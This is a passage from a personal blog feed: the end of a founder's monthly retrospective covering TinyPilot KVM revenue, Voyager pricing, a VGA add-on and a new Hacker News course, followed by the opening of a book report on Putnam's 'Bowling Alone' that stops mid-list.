&lt;p>I figured out how to track sessions as users move between &lt;a href="https://tinypilotkvm.com/">tinypilotkvm.com&lt;/a> and my Shopify domain for the checkout process (thanks to &lt;a href="https://www.reddit.com/r/SideProject/comments/jnkkzu/my_first_10k_month_selling_a_raspberry_pibased/gb3i0cz/?context=3">this suggestion from reddit&lt;/a>). Still, Google Analytics claims that 53% of visitors &lt;a href="ga-referrals.png">arrived directly&lt;/a>, meaning that they typed the URL manually. That seems unlikely.&lt;/p>
&lt;p>Another founder made a compelling argument to me that my largely tech audience is probably using ad-blockers. That means a large percentage won&amp;rsquo;t show up in analytics anyway. It&amp;rsquo;s also common for people to come back to the site later rather than complete their purchase the instant they see an ad, so I might be putting too much faith in the accuracy of analytics.&lt;/p>
&lt;h2 id="stats">Stats&lt;/h2>
&lt;h3 id="tinypilot">&lt;a href="https://tinypilotkvm.com/">TinyPilot&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="tinypilot-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>October 2020&lt;/th>
 &lt;th>November 2020&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>2,604&lt;/td>
 &lt;td>3,118&lt;/td>
 &lt;td>&lt;font color="green">+514 (+20%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>8,780&lt;/td>
 &lt;td>9,021&lt;/td>
 &lt;td>&lt;font color="green">+241 (+3%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Sales Revenue&lt;/td>
 &lt;td>$10,176.23&lt;/td>
 &lt;td>$12,313.25&lt;/td>
 &lt;td>&lt;font color="green">+$2,137.02 (+21%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Donations&lt;/td>
 &lt;td>$90.00&lt;/td>
 &lt;td>$0.00&lt;/td>
 &lt;td>&lt;font color="red">-$90.00 (-100%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$10,263.62&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$12,313.25&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">+$2,049.63 (+20%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>TinyPilot had another month of strong growth, with a $2k increase in overall revenue. I ran a Black Friday Weekend special for 20% off, and that generated a $3k bump in revenue to close out the month.&lt;/p>
&lt;h2 id="new-products-require-new-habits">New products require new habits&lt;/h2>
&lt;p>The biggest TinyPilot event this past month was &lt;a href="https://tinypilotkvm.com/blogs/news/introducing-voyager">the release of TinyPilot Voyager&lt;/a>. It&amp;rsquo;s the new model that uses a higher-quality video capture device. I worked with a 3D printing lab to create a custom case that neatly packages together all the components.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/12/voyager-angled.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/12/voyager-angled_hu_cd8ae9c94552cdee.jpg 300w, https://mtlynch.io/retrospectives/2020/12/voyager-angled_hu_3d6240a901643332.jpg 600w, https://mtlynch.io/retrospectives/2020/12/voyager-angled_hu_20db0658dcfb94f8.jpg 800w, https://mtlynch.io/retrospectives/2020/12/voyager-angled_hu_65b89cdfc3e68dd.jpg 1200w, https://mtlynch.io/retrospectives/2020/12/voyager-angled.jpg 3334w'
 src="https://mtlynch.io/retrospectives/2020/12/voyager-angled.jpg" alt="3/4 view photo of TinyPilot Voyager" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>&lt;a href="https://tinypilotkvm.com/product/tinypilot-voyager">Voyager&lt;/a> is the new model of TinyPilot, aimed at business customers.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Unlike my previous products, which ship as &amp;ldquo;some assembly required&amp;rdquo; kits, Voyager comes pre-assembled, so it&amp;rsquo;s plug &amp;rsquo;n play.&lt;/p>
&lt;p>I&amp;rsquo;m finding that one of the biggest sources of stress with running TinyPilot as a business is just forming new habits. When I&amp;rsquo;m in steady-state, everything is easy. Orders come in, then my assistant packs them and mails them out. There are a few special cases here and there, but for the most part, once a routine forms, it&amp;rsquo;s low-stress and manageable.&lt;/p>
&lt;p>When we do something new, everything goes haywire and gets stressful. It happened when I started selling TinyPilot internationally. Now that I know the process, it&amp;rsquo;s easy, but figuring out the requirements and setting everything up for the first time was bewildering and frustrating.&lt;/p>
&lt;p>I realized too late that I underestimated the cost of establishing new habits for Voyager. No one thing was especially difficult, but there are dozens of little new things that have to happen and existing processes we have to adjust. In the future, I&amp;rsquo;ll plan to roll out new products more gradually and budget time for developing processes and handling unexpected issues.&lt;/p>
&lt;h2 id="voyager-pricing">Voyager pricing&lt;/h2>
&lt;p>Voyager is exciting because it&amp;rsquo;s a product that only I offer, so I can charge a higher premium than my other products. My costs for each Voyager are &lt;del>$106/unit, so I make a profit of $144 on each sale (58% markup). I have similar percentage markups on the kits, but my profits are lower in absolute terms (&lt;/del>$86/unit) because of the lower price point.&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Product&lt;/th>
 &lt;th>Cost&lt;/th>
 &lt;th>Retail Price&lt;/th>
 &lt;th>Profit&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Hobbyist kit&lt;/td>
 &lt;td>$84.22&lt;/td>
 &lt;td>$169.99&lt;/td>
 &lt;td>$85.77 (50.5%)&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Voyager&lt;/td>
 &lt;td>$106.22&lt;/td>
 &lt;td>$249.99&lt;/td>
 &lt;td>$143.77 (57.5%)&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>I plan to experiment more with Voyager&amp;rsquo;s pricing, as I suspect there&amp;rsquo;s room to grow. Before I released Voyager, one of my business customers said to me, &amp;ldquo;You should make a custom enclosure for these because business clients like me would pay $400 for them.&amp;rdquo;&lt;/p>
&lt;p>TinyPilot is an alternative to enterprise KVMs, where &lt;a href="https://mtlynch.io/tinypilot/#commercial-solutions">costs are $600-1,000 per device&lt;/a>. Many of those solutions require the user to run old versions of Java to access the interface. Customers hate Java-based client UIs, so it&amp;rsquo;s possible I don&amp;rsquo;t even have to compete with entrenched KVM manufacturers on price.&lt;/p>
&lt;h2 id="eliminating-sales-questions-with-a-product-add-on">Eliminating sales questions with a product add-on&lt;/h2>
&lt;p>One of the most common questions customers asked about TinyPilot was, &amp;ldquo;Does it work with servers that have VGA output instead of HDMI?&amp;rdquo; For the first month, my answer was that a VGA to HDMI adapter would probably work, but I&amp;rsquo;d never tested it.&lt;/p>
&lt;p>After the third inquiry about VGA support, I purchased a VGA to HDMI adapter from Amazon. After I verified that it worked with TinyPilot, I began recommending it to any customers who asked.&lt;/p>
&lt;p>As I continued receiving questions about VGA, I started thinking about ways to answer the customer&amp;rsquo;s question before they have to email me. So I did this:&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 751px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/12/vga-add-on.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 751px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/12/vga-add-on_hu_29d1f0f81b2508dd.png 300w, https://mtlynch.io/retrospectives/2020/12/vga-add-on_hu_bd66564cd3f0e3c.png 600w, https://mtlynch.io/retrospectives/2020/12/vga-add-on.png 749w'
 src="https://mtlynch.io/retrospectives/2020/12/vga-add-on.png" alt="Screenshot of TinyPilot&amp;#39;s order page showing an &amp;#39;Add VGA to HDMI adapter&amp;#39; checkbox" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Adding a VGA add-on option eliminated my customers&amp;rsquo; most common pre-sales question.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>About one-third of my customers now choose the VGA add-on, so the experiment was a success. I sell the adapter at cost, but it creates convenience for my customers who don&amp;rsquo;t have to go elsewhere to purchase it separately.&lt;/p>
&lt;h2 id="my-first-paid-course">My first paid course&lt;/h2>
&lt;p>The idea of making a paid course or book has been in the back of my mind for the past couple of years. Two things happened recently that made me think much more seriously about it.&lt;/p>
&lt;p>The first was TinyPilot. In the back of my mind, I felt embarrassed to sell a course teaching anything when none of my businesses were profitable. I thought back to this jokey TV ad that ran in the 90s where a slick sales guru tells viewers to pay $50 for his guide to fast wealth. The book is titled, &lt;em>How to Convince People to Send You $50 for a Book&lt;/em>. But TinyPilot&amp;rsquo;s success made me feel like the things I know are demonstrably valuable.&lt;/p>
&lt;p>The other factor was &lt;a href="https://www.indiehackers.com/podcast/177-daniel-vassallo">Daniel Vasallo&amp;rsquo;s interview on the Indie Hackers podcast&lt;/a>. I&amp;rsquo;ve been following Daniel&amp;rsquo;s progress ever since he &lt;a href="https://danielvassallo.com/only-intrinsic-motivation-lasts/">left Amazon&lt;/a> in an exit similar to &lt;a href="https://mtlynch.io/why-i-quit-google/">my departure from Google&lt;/a>. In the year after he started working for himself, he released an &lt;a href="https://gumroad.com/l/aws-good-parts/dv">ebook about AWS&lt;/a>, which earned $100k, and &lt;a href="https://gumroad.com/l/twitter-audience/dv">a video course about Twitter&lt;/a> that earned $150k. He recorded and published the Twitter course in just 16 hours to test his theory that people care more about information quality than production value.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 650px">



 &lt;a href="https://www.indiehackers.com/podcast/177-daniel-vassallo">
 &lt;img
 
 sizes="(min-width: 768px) 650px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/12/177-daniel-vassallo_hu_7d012d62ac23497e.png 300w, https://mtlynch.io/retrospectives/2020/12/177-daniel-vassallo_hu_613ff01f71b8f119.png 600w, https://mtlynch.io/retrospectives/2020/12/177-daniel-vassallo_hu_7e13816de9b3fac6.png 800w, https://mtlynch.io/retrospectives/2020/12/177-daniel-vassallo_hu_18efad6cdb404a6.png 1200w, https://mtlynch.io/retrospectives/2020/12/177-daniel-vassallo.png 1920w'
 src="https://mtlynch.io/retrospectives/2020/12/177-daniel-vassallo.png" alt="Video still from Indie Hackers interview with Daniel Vassallo" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>&lt;a href="https://www.indiehackers.com/podcast/177-daniel-vassallo">Daniel Vasallo&amp;rsquo;s interview on the Indie Hackers podcast&lt;/a> made me realize how accessible and profitable it is to make a paid video course.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>$150k for 16 hours of work? That sounded like a great deal to me!&lt;/p>
&lt;p>Okay, I didn&amp;rsquo;t really expect to make $150k, but I thought $20k was achievable. And I fuss too much over editing to do it in 16 hours, but I could probably put together a course in 40 hours.&lt;/p>
&lt;p>In the last year, I&amp;rsquo;ve realized that one of my unique skills is writing articles that reach the front page of &lt;a href="https://news.ycombinator.com/">Hacker News&lt;/a>, so I decided to make a course that teaches everything I&amp;rsquo;ve learned about doing that.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 750px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/12/htfp-cover.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 750px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/12/htfp-cover_hu_cb6820c89c962926.jpg 300w, https://mtlynch.io/retrospectives/2020/12/htfp-cover_hu_b1d7731df58cb60.jpg 600w, https://mtlynch.io/retrospectives/2020/12/htfp-cover_hu_a2754d493e5caed0.jpg 800w, https://mtlynch.io/retrospectives/2020/12/htfp-cover_hu_7def055ef644e1cc.jpg 1200w, https://mtlynch.io/retrospectives/2020/12/htfp-cover.jpg 5334w'
 src="https://mtlynch.io/retrospectives/2020/12/htfp-cover.jpg" alt="Cover image to my video course" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>&lt;a href="https://hitthefrontpage.com/">&lt;em>Hit the Front Page of Hacker News&lt;/em>&lt;/a> is my new video course about writing articles that succeed on &lt;a href="https://news.ycombinator.com/">Hacker News&lt;/a>.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I announced the course two days ago, and sales have been&amp;hellip; slow.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 740px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/12/htfp-sales.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 740px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/12/htfp-sales_hu_d5631e9c62695158.png 300w, https://mtlynch.io/retrospectives/2020/12/htfp-sales_hu_574a0dde02505cf2.png 600w, https://mtlynch.io/retrospectives/2020/12/htfp-sales_hu_9e457c443e639f8d.png 800w, https://mtlynch.io/retrospectives/2020/12/htfp-sales_hu_cc9fbb6e1e2b2a97.png 1200w, https://mtlynch.io/retrospectives/2020/12/htfp-sales.png 1213w'
 src="https://mtlynch.io/retrospectives/2020/12/htfp-sales.png" alt="Screenshot from Gumroad showing 478 visits to my sales page and 5 sales for $300 total." loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>As of this writing, I&amp;rsquo;ve sold five pre-orders for $300 total. I&amp;rsquo;m happy to have sales, but I&amp;rsquo;m a bit worried that I overestimated the market for this course. One of the authors who gave me advice about self-publishing a course told me that she made more in pre-sales than she did post-launch, so the current sales numbers don&amp;rsquo;t bode well.&lt;/p>
&lt;p>But it&amp;rsquo;s possible that with this product, people are less interested in pre-paying for a course that&amp;rsquo;s not yet available. I might create a landing page that just collects emails to announce the release date and direct people there instead.&lt;/p>
&lt;p>I&amp;rsquo;m getting worried that I bit off more than I can chew, though. I&amp;rsquo;ve spent about 30 hours already between putting together slides, working on the cover image, and presenting to test audiences. I haven&amp;rsquo;t even started recording the real course yet. There&amp;rsquo;s probably 30-50 hours of work to go, and I&amp;rsquo;m anxious about how much time it&amp;rsquo;s taking away from TinyPilot.&lt;/p>
&lt;p>But it&amp;rsquo;ll be &lt;strong>fine&lt;/strong>. I think whatever happens, it&amp;rsquo;ll be an interesting learning experience and will inform whether and how I pursue educational products in the future.&lt;/p>
&lt;h2 id="legacy-projects">Legacy projects&lt;/h2>
&lt;p>Here are some brief updates on projects that I still maintain but are not the primary focus of my development:&lt;/p>
&lt;h3 id="is-it-keto">&lt;a href="https://isitketo.org">Is It Keto&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="isitketo-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>October 2020&lt;/th>
 &lt;th>November 2020&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>50,195&lt;/td>
 &lt;td>43,911&lt;/td>
 &lt;td>&lt;font color="red">-6,284 (-13%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>117,428&lt;/td>
 &lt;td>102,143&lt;/td>
 &lt;td>&lt;font color="red">-15,285 (-13%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Domain Rating (Ahrefs)&lt;/td>
 &lt;td>10.0&lt;/td>
 &lt;td>10.0&lt;/td>
 &lt;td>0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>AdSense Earnings&lt;/td>
 &lt;td>$322.58&lt;/td>
 &lt;td>$357.51&lt;/td>
 &lt;td>&lt;font color="green">+$34.93 (+11%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Amazon Affiliate Earnings&lt;/td>
 &lt;td>$188.28&lt;/td>
 &lt;td>$74.01&lt;/td>
 &lt;td>&lt;font color="red">-$114.27 (-61%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$510.86&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$431.52&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$79.34 (-16%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Is It Keto is still chugging along in the background. Amazon Affiliate revenue is dwindling, likely because I haven&amp;rsquo;t updated my affiliate links in a few months, so many of them are pointing to products that no longer exist. Updating the dead links requires 90-180 minutes of tedious work, so I&amp;rsquo;d rather spend the time on TinyPilot.&lt;/p>
&lt;p>The drop in visitors is expected, as there&amp;rsquo;s historically a seasonal drop for the holidays, followed by a huge surge in visits starting New Year&amp;rsquo;s Day.&lt;/p>
&lt;h3 id="zestful">&lt;a href="https://zestfuldata.com">Zestful&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="zestful-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>October 2020&lt;/th>
 &lt;th>November 2020&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>436&lt;/td>
 &lt;td>484&lt;/td>
 &lt;td>&lt;font color="green">+48 (+11%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>1,149&lt;/td>
 &lt;td>1,393&lt;/td>
 &lt;td>&lt;font color="green">+244 (+21%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>RapidAPI Earnings&lt;/td>
 &lt;td>$35.05&lt;/td>
 &lt;td>$28.37&lt;/td>
 &lt;td>&lt;font color="red">-$6.68 (-19%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Enterprise Plan Earnings&lt;/td>
 &lt;td>$0.00&lt;/td>
 &lt;td>$872.63&lt;/td>
 &lt;td>&lt;font color="green">+$872.63 (+inf%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$35.05&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$901.00&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">+$865.95 (+2471%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Zestful had a nice jump this month. One of my longtime pay-as-you go customers upgraded to a short-term unlimited plan because he had a big batch of ingredients to parse. That was a nice sale, but it&amp;rsquo;s definitely a one-off.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Launched &lt;a href="https://tinypilotkvm.com/product/tinypilot-voyager">Voyager&lt;/a>, the new model of TinyPilot aimed at business customers.&lt;/li>
&lt;li>Published a &lt;a href="https://github.com/tiny-pilot/tinypilot/releases/tag/1.2.0">new release&lt;/a> of TinyPilot that includes an on-screen keyboard and support for saving screenshots.&lt;/li>
&lt;li>Launched pre-orders for my &lt;a href="https://hitthefrontpage.com/">Hacker News course&lt;/a>.&lt;/li>
&lt;li>Two of my blog posts reached the front page of Hacker News.
&lt;ul>
&lt;li>&lt;a href="https://news.ycombinator.com/item?id=25262272">How I Hired a Freelance Editor for My Blog&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://news.ycombinator.com/item?id=25061823">Building a Homelab VM Server&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>New products need new processes.
&lt;ul>
&lt;li>Adapting to new processes creates stress.&lt;/li>
&lt;li>Plan for everything to take longer than expected when rolling out a new product, even one that&amp;rsquo;s similar to your others.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Budget in the cost of technical debt
&lt;ul>
&lt;li>It took two weeks longer than I expected to release Voyager because I forgot about software shortcuts in TinyPilot&amp;rsquo;s I took early in TinyPilot&amp;rsquo;s life.&lt;/li>
&lt;li>For simplicity, I baked assumptions into the code about which video capture device it would use, and untangling those assumptions was messy.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Release the first version of &lt;a href="https://tinypilotkvm.com/product/tinypilot-pro">TinyPilot Pro&lt;/a>.&lt;/li>
&lt;li>Receive TinyPilot reviews from two bloggers or YouTubers with a relevant audience.&lt;/li>
&lt;li>Record five out of seven parts to my &lt;a href="https://hitthefrontpage.com/">Hacker News course&lt;/a>.&lt;/li>
&lt;/ul></content:encoded></item><item><title>Bowling Alone by Robert D. Putnam</title><link>https://mtlynch.io/book-reports/bowling-alone/</link><pubDate>Sat, 14 Nov 2020 00:00:00 +0000</pubDate><guid>https://mtlynch.io/book-reports/bowling-alone/</guid><description>&lt;p>The idea of social capital has interested me for a long time, but when I finally sat down to read this book, it was painfully dry. It offers an eye-opening investigation into the many ways that civic engagement has declined in the US, but it was a real slog to get through.&lt;/p></description><content:encoded>&lt;p>The idea of social capital has interested me for a long time, but when I finally sat down to read this book, it was painfully dry. It offers an eye-opening investigation into the many ways that civic engagement has declined in the US, but it was a real slog to get through.&lt;/p>
&lt;p>I find &lt;a href="https://mtlynch.io/book-reports/bowling-alone/#social-capital">the idea of social capital&lt;/a> fascinating, and I was hoping the book would delve further into how to foster social capital in a community. Social capital profoundly affects society, but people forget about it when considering policy issues. In that way, the book reminded me of &lt;a href="https://mtlynch.io/book-reports/happy-city/">&lt;em>Happy City&lt;/em>&lt;/a>, which described how city design affects happiness and community bonds among residents. The difference is that &lt;em>Happy City&lt;/em> found ways to make the research lively and engaging, whereas &lt;em>Bowling Alone&lt;/em> felt like it was endlessly throwing charts at me.&lt;/p>
&lt;div class="notice notice-info">
 &lt;strong>Note&lt;/strong>: A &lt;a href="https://www.indiebound.org/book/9781982130848">revised 2020 edition&lt;/a> came out while I was reading the book, but my notes are for the &lt;a href="https://www.indiebound.org/book/9780743203043">first edition&lt;/a>, published in 2001.
&lt;/div>

&lt;hr>
&lt;h2 id="what-i-liked">What I liked&lt;/h2>
&lt;ul>
&lt;li>The history of social and political group membership in the US was interesting.&lt;/li>
&lt;li>The &lt;a href="#social-capital-index">correlations&lt;/a> between measures of civic engagement and other measures of social well-being were surprising and enlightening.&lt;/li>
&lt;li>The middle third of the book was engaging, especially the discussion of how television has affected social capital.&lt;/li>
&lt;/ul>
&lt;h2 id="what-i-disliked">What I disliked&lt;/h2>
&lt;ul>
&lt;li>It&amp;rsquo;s extremely dry.
&lt;ul>
&lt;li>It buries the reader in graphs and statistics to an extent far beyond what was necessary to make the point.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>The book repeatedly refers to social networking as &amp;ldquo;computer-mediated communication.&amp;rdquo;
&lt;ul>
&lt;li>I know Putnam wrote it in 2001, but I don&amp;rsquo;t remember anyone calling it that, even then.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Putnam&amp;rsquo;s proposed remediations felt vague.
&lt;ul>
&lt;li>There&amp;rsquo;s a whole section of the book about ways to fix the issues he raises, but it frames the answers as, &amp;ldquo;what should we do as a society?&amp;rdquo; as opposed to concrete steps that an individual can take.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="key-takeaways">Key takeaways&lt;/h2>
&lt;h3 id="social-capital">Social capital&lt;/h3>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Social capital&lt;/strong> is the value generated from people in a community knowing and interacting with one another.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Generalized reciprocity&lt;/p>
&lt;ul>
&lt;li>People in high-trust communities do favors for one another without expecting reciprocity immediately because they&amp;rsquo;re confident they&amp;rsquo;ll receive a favor later.&lt;/li>
&lt;li>Generalized reciprocity makes communities more efficient because obligations don&amp;rsquo;t need to be settled immediately.&lt;/li>
&lt;li>Generalized reciprocity is like moving from a system of barter, where goods are traded for other goods, to a system of cash, where everyone trusts that the cash can later be traded for other goods.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>Bonding vs. bridging social capital&lt;/p>
&lt;ul>
&lt;li>&amp;ldquo;Bonding social capital&amp;rdquo; is the value of close relationships in a community.
&lt;ul>
&lt;li>Good for encouraging kind behavior, donating to charity, helping neighbors.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&amp;ldquo;Bridging social capital&amp;rdquo; is the value of loose networks of acquaintances.
&lt;ul>
&lt;li>Good for finding jobs.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="trends-of-civic-disengagement-in-the-us">Trends of civic disengagement in the US&lt;/h3>
&lt;ul>
&lt;li>
&lt;p>Political campaigns&lt;/p>
&lt;ul>
&lt;li>Political campaigns now reach many more people than they did a century ago, but it&amp;rsquo;s because they&amp;rsquo;ve switched from in-person gatherings and door-to-door visits to direct mail and telemarketing.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>Drops after the 1970s&lt;/p>
&lt;ul>
&lt;li>Between the 1970s and 1990s, most forms of civic participation (e.g., attending town meetings, making a public speech) dropped by 30-40%.&lt;/li>
&lt;li>The activities that dropped the least were solitary forms of civic participation like writing a letter to a newspaper or congressperson, but even these dropped by 10%.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>Club membership&lt;/p>
&lt;ul>
&lt;li>Americans still outrank almost every other nation in terms of percentage of citizens involved in clubs and organizations.&lt;/li>
&lt;li>Throughout the 1900s, the number of membership organizations increased, but the average size shrunk.
&lt;ul>
&lt;li>Organizations also focused less on meetings and more on mailing lists, where people are &amp;ldquo;members&amp;rdquo; by virtue of writing a check every year, but they don&amp;rsquo;t attend any meetings.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="machers-and-schmoozers">Machers and schmoozers&lt;/h3>
&lt;ul>
&lt;li>The terms &amp;ldquo;macher&amp;rdquo; and &amp;ldquo;schmoozer&amp;rdquo; come from Yiddish.&lt;/li>
&lt;li>&amp;ldquo;Macher&amp;rdquo; - a person who spends a lot of time participating in formal organizations.
&lt;ul>
&lt;li>e.g., current events, church and club meetings, work on community projects&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&amp;ldquo;Schmoozer&amp;rdquo; - a person who spends time on informal conversations and gatherings.
&lt;ul>
&lt;li>e.g., dinner parties, bars, night clubs, barbecues&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Men are more likely to be machers, though it&amp;rsquo;s likely a function of employment rather than gender.
&lt;ul>
&lt;li>When women began entering the workforce, there was a proportional increase in women entering formal membership organizations.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>The frequency of informal social gatherings declined consistently in the US throughout the second half of the 20th century.&lt;/li>
&lt;/ul>
&lt;h3 id="americans-and-playing-cards">Americans and playing cards&lt;/h3>
&lt;ul>
&lt;li>Americans apparently used to &lt;strong>really&lt;/strong> love playing cards.&lt;/li>
&lt;li>A survey in 1958 revealed that one in three adults regularly played bridge.&lt;/li>
&lt;li>In the 1970s, 40% of adults reported playing cards once a month.&lt;/li>
&lt;li>In 1940, 87% of homes had a deck of cards.
&lt;ul>
&lt;li>For comparison, only 83% had radios, and 36% had phones.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="reciprocity-honesty-and-trust">Reciprocity, honesty, and trust&lt;/h3>
&lt;ul>
&lt;li>
&lt;p>French diplomat Alexis de Tocqueville described Americans&amp;rsquo; cooperation with one another as &lt;a href="https://history.hanover.edu/courses/excerpts/111tocqueville.html">&amp;ldquo;self interest rightly understood.&amp;rdquo;&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>A society with generalized reciprocity reduces the &amp;ldquo;transaction costs&amp;rdquo; of everyday interaction.&lt;/p>
&lt;ul>
&lt;li>It&amp;rsquo;s easy to go about your business when you don&amp;rsquo;t have to worry whether you locked your door or if the cashier is pocketing some of your change.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>Dense social networks encourage honest behavior.&lt;/p>
&lt;ul>
&lt;li>The knowledge that reputations persist and spread encourages honest behavior.&lt;/li>
&lt;li>If you interact with someone once, you&amp;rsquo;re likely to interact with them in the future, so they&amp;rsquo;d remember if you did something dishonest.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>Thick trust vs. thin trust&lt;/p>
&lt;ul>
&lt;li>Thick trust: you trust someone based on specific knowledge of them.&lt;/li>
&lt;li>Thin trust: you trust someone because trust is the default in your community.&lt;/li>
&lt;li>Thin-trust communities tend to have greater civic engagement.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>Decline in trust&lt;/p>
&lt;ul>
&lt;li>Between 1960 to 2000, people who agreed with the survey question, &amp;ldquo;most people can be trusted,&amp;rdquo; dropped from 55% to 35%.
&lt;ul>
&lt;li>Interestingly, the decline comes from new generations.&lt;/li>
